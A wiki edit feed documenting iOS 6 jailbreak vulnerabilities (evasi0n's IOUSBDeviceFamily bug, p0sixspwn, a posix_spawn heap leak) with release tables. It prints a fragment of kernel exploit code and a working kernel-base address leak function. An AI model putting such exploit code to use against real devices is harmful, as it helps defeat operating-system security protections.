                 fakr[0]      = (uint32_t)fakr;&lt;br /&gt;
                 fakr[0x70/4] = 0x12345678;&lt;br /&gt;
                 // fakr&lt;br /&gt;
 &lt;br /&gt;
                 uint64_t lel_again = (uint32_t)fakr;&lt;br /&gt;
                 IOConnectCallMethod(connect, 15, &amp;amp;lel_again, 1, NULL, 0, NULL, NULL, NULL, NULL);&lt;br /&gt;
       }&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
 } &lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
TODO: Describe [[evasi0n]] exploitation in detail here.&lt;br /&gt;
&lt;br /&gt;
Apple's description in the iOS 6.1.3 security fixes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;cite&amp;gt;&lt;br /&gt;
'''USB'''&amp;lt;br/&amp;gt;&lt;br /&gt;
Impact: A local user may be able to execute arbitrary code in the kernel&amp;lt;br/&amp;gt;&lt;br /&gt;
Description: The IOUSBDeviceFamily driver used pipe object pointers that came from userspace. This issue was addressed by performing additional validation of pipe object pointers.&lt;br /&gt;
&amp;lt;/cite&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
* [[evasi0n]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* [http://iphonedevwiki.net/index.php/IOUSBDeviceFamily IOUSBDeviceFamily on iphonedevwiki] (missing in this wiki!)&lt;br /&gt;
* [http://blog.azimuthsecurity.com/2013/02/from-usr-to-svc-dissecting-evasi0n.html Analysis by kernelpool]&lt;br /&gt;
* [http://support.apple.com/kb/HT5704 Apple's iOS 6.1.3 security fixes]&lt;br /&gt;
* [http://support.apple.com/kb/HT5702 Apple's iOS 5.2.1 (Apple TV) security fixes]&lt;br /&gt;
* [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0981 NIST Reference CVE-2013-0981]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0981 Mitre Reference CVE-2013-0981]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41301</id>
		<title>IOPlatfromArgs leak</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41301"/>
		<updated>2014-06-14T18:14:07Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vulnerability used in [[p0sixspwn]]&lt;br /&gt;
This vulnerability leaks the kernel base address. &lt;br /&gt;
This is the code &lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 unsigned long getKernelBase() {&lt;br /&gt;
    unsigned long buf;&lt;br /&gt;
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching(&amp;quot;device-tree&amp;quot;));&lt;br /&gt;
    if(service)&lt;br /&gt;
    {&lt;br /&gt;
        CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR(&amp;quot;IOPlatformArgs&amp;quot;), kCFAllocatorDefault, 0);&lt;br /&gt;
        if(macData != NULL)&lt;br /&gt;
        {&lt;br /&gt;
            /*&lt;br /&gt;
             void CFDataGetBytes (&lt;br /&gt;
             CFDataRef theData,&lt;br /&gt;
             CFRange range,&lt;br /&gt;
             UInt8 *buffer&lt;br /&gt;
             );&lt;br /&gt;
             */&lt;br /&gt;
            CFDataGetBytes(macData, CFRangeMake(0,sizeof(buf)), &amp;amp;buf); // TODO: buf != UInt8&lt;br /&gt;
            // XXX: TODO: change decrement based on device.&lt;br /&gt;
            // N90 ONLY FOR NOW!&lt;br /&gt;
            buf -= 0xE1C000; // Diff.&lt;br /&gt;
            CFRelease(macData);&lt;br /&gt;
            IOObjectRelease(service);&lt;br /&gt;
            return buf;&lt;br /&gt;
        }&lt;br /&gt;
        IOObjectRelease(service);&lt;br /&gt;
    }&lt;br /&gt;
    return 0; &lt;br /&gt;
 } // iH8sn0w&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once the attacker knows the virtual base, he can use the &amp;lt;code&amp;gt;virt_to_phys&amp;lt;/code&amp;gt; macro to see what the physical base is, this way both bases are leaked. This all relies on the IOPlatformArgs bug&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41300</id>
		<title>IOPlatfromArgs leak</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=IOPlatfromArgs_leak&amp;diff=41300"/>
		<updated>2014-06-14T18:13:37Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: Created page with &amp;quot;Vulnerability used in p0sixspwn This vulnerability leaks the kernel base address.  This is the code  &amp;lt;code&amp;gt;  unsigned long getKernelBase() {     unsigned long buf;     io_...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vulnerability used in [[p0sixspwn]]&lt;br /&gt;
This vulnerability leaks the kernel base address. &lt;br /&gt;
This is the code &lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
 unsigned long getKernelBase() {&lt;br /&gt;
    unsigned long buf;&lt;br /&gt;
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching(&amp;quot;device-tree&amp;quot;));&lt;br /&gt;
    if(service)&lt;br /&gt;
    {&lt;br /&gt;
        CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR(&amp;quot;IOPlatformArgs&amp;quot;), kCFAllocatorDefault, 0);&lt;br /&gt;
        if(macData != NULL)&lt;br /&gt;
        {&lt;br /&gt;
            /*&lt;br /&gt;
             void CFDataGetBytes (&lt;br /&gt;
             CFDataRef theData,&lt;br /&gt;
             CFRange range,&lt;br /&gt;
             UInt8 *buffer&lt;br /&gt;
             );&lt;br /&gt;
             */&lt;br /&gt;
            CFDataGetBytes(macData, CFRangeMake(0,sizeof(buf)), &amp;amp;buf); // TODO: buf != UInt8&lt;br /&gt;
            // XXX: TODO: change decrement based on device.&lt;br /&gt;
            // N90 ONLY FOR NOW!&lt;br /&gt;
            buf -= 0xE1C000; // Diff.&lt;br /&gt;
            CFRelease(macData);&lt;br /&gt;
            IOObjectRelease(service);&lt;br /&gt;
            return buf;&lt;br /&gt;
        }&lt;br /&gt;
        IOObjectRelease(service);&lt;br /&gt;
    }&lt;br /&gt;
    return 0; &lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Once the attacker knows the virtual base, he can use the &amp;lt;code&amp;gt;virt_to_phys&amp;lt;/code&amp;gt; macro to see what the physical base is, this way both bases are leaked. This all relies on the IOPlatformArgs bug&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41299</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41299"/>
		<updated>2014-06-14T18:06:56Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5 and 5.2.1 - 5.3 on [[k66ap|Apple TV 2G]]. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows program was released on 3 January 2014.&lt;br /&gt;
&lt;br /&gt;
== Cydia Package Changelog ==&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 (iPhone3,1)]] boot loop fix&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.4-1''' Support iOS 6.1.6.&lt;br /&gt;
&lt;br /&gt;
==Download==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 MEGA]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with [[iPod touch 5G]] not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.3&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;060c95cda0e5ad861bd225ca19324e6ebd3c0a5d&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!x0sk1SjB!S86WIGnifrgVhf5aoFQiPHl5aMJvS3miIeTTy9pLL_w MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release for Windows.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.4&lt;br /&gt;
| &amp;lt;code&amp;gt;0a40a9780ba0dd9f0476d12950b4fb0026c8559a&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!Vl9zFJYC!JaCsqwnNNDJvj_4t0APjC2XPBg0ZuUwMSNNz2MGb4Xw MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Added README and time adjustments for slow PC's.&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.5&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b99fb1de846c406a15bbd710b623ddd78e139e5e&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!B5lxxDLD!YrvjGhvVDxm2ah94hafI7TJWfm9EK0aWsh4_7YN78qE MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes some issues.&lt;br /&gt;
* Support for Mac OS X Snow Leopard.&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7c782a39ed123f70594e2438eaacc95340e363e3&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!l1UFgJiA!Ogbi6Q1GsKZZMZzEhi8w1zvlHXEh0QuDBIGdjfktHb0 MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.7&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7f4f867a2e3739e8ee70f7bc7e47afe9871c69b6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!Y8M2VAiS!Bq4NRjrlZXE754uNqSJT90mUzwsSGMPVa2PWsp78344 MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes Cydia sometimes not showing up&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;868a05ba26fd679a28c3eac0c4dc2c0cbb5e9529&amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://MEGA.co.nz/#!E0sESCiC!c-ulVmjoa9qtPDe0MBIQgz9D2H03NgCxjBKZmAUPKRc MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.8&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;aa20c28c2e052c08893fdbf49d16f084df2f46e6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!hptDFbzb!Dfa8Th7Ngw6PyDSnWDyMmzHbGYDrMqk64kRMB4MCv0c MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Supports iOS 6.1.6&lt;br /&gt;
* Fixes iTunes 11.1+ crashes&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;5d2711a99433daa1800d1327207bfc870cd16698 &amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!Rp12yZrK!EhZjmllrpQ4JDC7VvHbcUEautLNBSSFUgBzKFzB20js MEGA]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
* [[posix_spawn kernel information leak]] (by [[i0n1c]]) (proof? what is it used for?)&lt;br /&gt;
* [[mach_msg_ool_descriptor_ts for heap shaping]] (proof/quotes? no information found)&lt;br /&gt;
* [[AMFID_code_signing_evasion]]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1273 CVE-2014-1273] (by [[planetbeing]]) (proof/quotes? no information found)&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]]) (proof/quotes? no information found)&lt;br /&gt;
* [[Symbolic Link Vulnerability]]&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[IOPlatfromArgs leak]] (by [[iH8sn0w]])&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
* [https://github.com/p0sixspwn/p0sixspwn Source Code on GitHub]&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41298</id>
		<title>P0sixspwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=P0sixspwn&amp;diff=41298"/>
		<updated>2014-06-14T18:03:11Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: /* Exploits */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
'''p0sixspwn''' is an [[untethered jailbreak]] for iOS 6.1.3-6.1.5 by [[User:winocm|winocm]], [[User:Ih8sn0w|iH8sn0w]] and [https://twitter.com/SquiffyPwn SquiffyPwn]. It was initially made available as an Cydia package on [[Saurik]]'s repo to untether already jailbroken devices. It works with all devices that support iOS 6.1.3-6.1.5 and 5.2.1 - 5.3 on [[k66ap|Apple TV 2G]]. On 30 December 2013, a Mac OS X program was released to perform a jailbreak. A Windows program was released on 3 January 2014.&lt;br /&gt;
&lt;br /&gt;
== Cydia Package Changelog ==&lt;br /&gt;
* '''1.0-5''' the initial release of the untether&lt;br /&gt;
* '''1.0-9''' [[n90ap|iPhone 4 (iPhone3,1)]] boot loop fix&lt;br /&gt;
* '''1.1-1''' Automatically reboot after 30 seconds if device did not boot. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-2''' Automatically reboot after one minute if device did not boot due to 30 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.1-3''' Automatically reboot after two minutes if device did not boot due to 60 seconds was too quick. (iH8sn0w's repo only)&lt;br /&gt;
* '''1.2-1''' Various bug fixes.&lt;br /&gt;
* '''1.3-2''' Fixes iMessage, LTE issues and Apple TV 2G support.&lt;br /&gt;
* '''1.4-1''' Support iOS 6.1.6.&lt;br /&gt;
&lt;br /&gt;
==Download==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Version&lt;br /&gt;
! OS&lt;br /&gt;
! SHA-1 Hash&lt;br /&gt;
! Download&lt;br /&gt;
! Changes&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.0&lt;br /&gt;
| rowspan=&amp;quot;3&amp;quot; | [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b5a66f4e58ab4c813fc851d479b28188eb5115ec&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!0xtw0DAT!YVZmNXsn-kl1kH655zgpMGz8hSVVgk8FU3qlTPNfSdU MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.1&lt;br /&gt;
| &amp;lt;code&amp;gt;ae5b3907660b161b2ff94a2e2cfef97195404a89&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!l8lniKxL!ODQrFDGbOUpm2hvU-mQggm25IgNk3_TmSO1r7tlU178 MEGA]&lt;br /&gt;
|  &lt;br /&gt;
* Resolves issues with [[iPod touch 5G]] not being detected.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.2&lt;br /&gt;
| &amp;lt;code&amp;gt;259e95fd16468260c8831ca17186f50b7d14ba41&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!DVtmGLqa!BX2-OQUliBcfdlenMLa93mKxk244KpD9Z71p_DAeil8 MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Resolves issues with LTE/data.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.3&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;060c95cda0e5ad861bd225ca19324e6ebd3c0a5d&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!x0sk1SjB!S86WIGnifrgVhf5aoFQiPHl5aMJvS3miIeTTy9pLL_w MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Initial release for Windows.&lt;br /&gt;
|-&lt;br /&gt;
! 1.0.4&lt;br /&gt;
| &amp;lt;code&amp;gt;0a40a9780ba0dd9f0476d12950b4fb0026c8559a&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!Vl9zFJYC!JaCsqwnNNDJvj_4t0APjC2XPBg0ZuUwMSNNz2MGb4Xw MEGA]&lt;br /&gt;
|&lt;br /&gt;
* Added README and time adjustments for slow PC's.&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.5&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;b99fb1de846c406a15bbd710b623ddd78e139e5e&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; | [https://MEGA.co.nz/#!B5lxxDLD!YrvjGhvVDxm2ah94hafI7TJWfm9EK0aWsh4_7YN78qE MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes some issues.&lt;br /&gt;
* Support for Mac OS X Snow Leopard.&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7c782a39ed123f70594e2438eaacc95340e363e3&amp;lt;/code&amp;gt;&lt;br /&gt;
| style=&amp;quot;text-decoration: line-through;&amp;quot; class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!l1UFgJiA!Ogbi6Q1GsKZZMZzEhi8w1zvlHXEh0QuDBIGdjfktHb0 MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.7&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;7f4f867a2e3739e8ee70f7bc7e47afe9871c69b6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!Y8M2VAiS!Bq4NRjrlZXE754uNqSJT90mUzwsSGMPVa2PWsp78344 MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Fixes Cydia sometimes not showing up&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;868a05ba26fd679a28c3eac0c4dc2c0cbb5e9529&amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz&amp;quot; | [https://MEGA.co.nz/#!E0sESCiC!c-ulVmjoa9qtPDe0MBIQgz9D2H03NgCxjBKZmAUPKRc MEGA]&lt;br /&gt;
|-&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; | 1.0.8&lt;br /&gt;
| [[wikipedia:OS X|OS X]]&lt;br /&gt;
| &amp;lt;code&amp;gt;aa20c28c2e052c08893fdbf49d16f084df2f46e6&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://MEGA.co.nz/#!hptDFbzb!Dfa8Th7Ngw6PyDSnWDyMmzHbGYDrMqk64kRMB4MCv0c MEGA]&lt;br /&gt;
| rowspan=&amp;quot;2&amp;quot; | &lt;br /&gt;
* Supports iOS 6.1.6&lt;br /&gt;
* Fixes iTunes 11.1+ crashes&lt;br /&gt;
|-&lt;br /&gt;
| [[wikipedia:Microsoft Windows|Windows]]&lt;br /&gt;
| &amp;lt;code&amp;gt;5d2711a99433daa1800d1327207bfc870cd16698 &amp;lt;/code&amp;gt;&lt;br /&gt;
| class=&amp;quot;rborderplz nobrradiusplz&amp;quot; | [https://MEGA.co.nz/#!Rp12yZrK!EhZjmllrpQ4JDC7VvHbcUEautLNBSSFUgBzKFzB20js MEGA]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Exploits ==&lt;br /&gt;
* [[posix_spawn kernel information leak]] (by [[i0n1c]]) (proof? what is it used for?)&lt;br /&gt;
* [[mach_msg_ool_descriptor_ts for heap shaping]] (proof/quotes? no information found)&lt;br /&gt;
* [[AMFID_code_signing_evasion]]&lt;br /&gt;
* [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1273 CVE-2014-1273] (by [[planetbeing]]) (proof/quotes? no information found)&lt;br /&gt;
* [[DeveloperDiskImage race condition]] (by [[comex]]) (proof/quotes? no information found)&lt;br /&gt;
* [[Symbolic Link Vulnerability]]&lt;br /&gt;
* [[launchd.conf untether]]&lt;br /&gt;
* [[ARM TTE modifications to enable RW on certain segments]] (by [[winocm]])&lt;br /&gt;
&lt;br /&gt;
== External Links ==&lt;br /&gt;
* [http://blog.ih8sn0w.com/2013/12/613-615-3gsa4-untether-cydia-package.html iH8sn0w's blog post on the release.]&lt;br /&gt;
* [http://p0sixspwn.com/ p0sixspwn]&lt;br /&gt;
* [https://github.com/p0sixspwn/p0sixspwn Source Code on GitHub]&lt;br /&gt;
&lt;br /&gt;
[[Category:Hacking Software]]&lt;br /&gt;
[[Category:Jailbreaks]]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Posix_spawn_kernel_information_leak&amp;diff=41264</id>
		<title>Posix spawn kernel information leak</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Posix_spawn_kernel_information_leak&amp;diff=41264"/>
		<updated>2014-06-04T19:30:16Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: /* Links */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vulnerability used in [[p0sixspwn]]&lt;br /&gt;
&lt;br /&gt;
== '''Vulnerability Part 1''' ==&lt;br /&gt;
&lt;br /&gt;
There is an information leak vulnerabilty, which can be exploited to retrieve leaked bytes from the kernel heap. If you carefully craft the data's size, you can leak bytes from the heap using a ''PSFA_OPEN'' file action. The Size is crafted so that the beginning of the file name is within the buffer and the rest is taken in the heap, then you can use ''fcntl(F_GETPATH)'' to get the leaked bytes.&lt;br /&gt;
&lt;br /&gt;
== '''Vulnerability Part 2''' ==&lt;br /&gt;
&lt;br /&gt;
The ''posix_spawn()'' vulnerability isn't just a way to leak memory, this is also a race condition exploit, but you need a way to re-read the memory, and then write outside the buffer, then finaally you need to sync with a secondary thread via file locking. Like this ''open(...,    O_EXLOCK )''. The p0sixspwn jailbreak also utilizes another exploit to change the ''fd_ofileflags'' relocation path.&lt;br /&gt;
&lt;br /&gt;
== '''Credit''' ==&lt;br /&gt;
&lt;br /&gt;
[[I0n1c]]&lt;br /&gt;
&lt;br /&gt;
== '''Links''' ==&lt;br /&gt;
&lt;br /&gt;
[http://antid0te.com/syscan_2013/SyScan2013_Mountain_Lion_iOS_Vulnerabilities_Garage_Sale_Whitepaper.pdf Writeup by i0n1c p. 20 ff.]&lt;br /&gt;
[http://conference.hitb.org/hitbsecconf2013kul/materials/D2T2%20-%20Stefan%20Esser%20-%20Tales%20from%20iOS%206%20Exploitation%20and%20iOS%207%20Security%20Changes.pdf  i0n1c's writeup]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Posix_spawn_kernel_information_leak&amp;diff=41263</id>
		<title>Posix spawn kernel information leak</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Posix_spawn_kernel_information_leak&amp;diff=41263"/>
		<updated>2014-06-04T19:28:49Z</updated>

		<summary type="html">&lt;p&gt;I3ppwn: /* Vulnerability */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Vulnerability used in [[p0sixspwn]]&lt;br /&gt;
&lt;br /&gt;
== '''Vulnerability Part 1''' ==&lt;br /&gt;
&lt;br /&gt;
There is an information leak vulnerabilty, which can be exploited to retrieve leaked bytes from the kernel heap. If you carefully craft the data's size, you can leak bytes from the heap using a ''PSFA_OPEN'' file action. The Size is crafted so that the beginning of the file name is within the buffer and the rest is taken in the heap, then you can use ''fcntl(F_GETPATH)'' to get the leaked bytes.&lt;br /&gt;
&lt;br /&gt;
== '''Vulnerability Part 2''' ==&lt;br /&gt;
&lt;br /&gt;
The ''posix_spawn()'' vulnerability isn't just a way to leak memory, this is also a race condition exploit, but you need a way to re-read the memory, and then write outside the buffer, then finaally you need to sync with a secondary thread via file locking. Like this ''open(...,    O_EXLOCK )''. The p0sixspwn jailbreak also utilizes another exploit to change the ''fd_ofileflags'' relocation path.&lt;br /&gt;
&lt;br /&gt;
== '''Credit''' ==&lt;br /&gt;
&lt;br /&gt;
[[I0n1c]]&lt;br /&gt;
&lt;br /&gt;
== '''Links''' ==&lt;br /&gt;
&lt;br /&gt;
[http://antid0te.com/syscan_2013/SyScan2013_Mountain_Lion_iOS_Vulnerabilities_Garage_Sale_Whitepaper.pdf Writeup by i0n1c p. 20 ff.]&lt;/div&gt;</summary>
		<author><name>I3ppwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Geeksn0w&amp;diff=41016</id>
		<title>Geeksn0w</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Geeksn0w&amp;diff=41016"/>
		<updated>2014-05-01T11:29:31Z</updated>

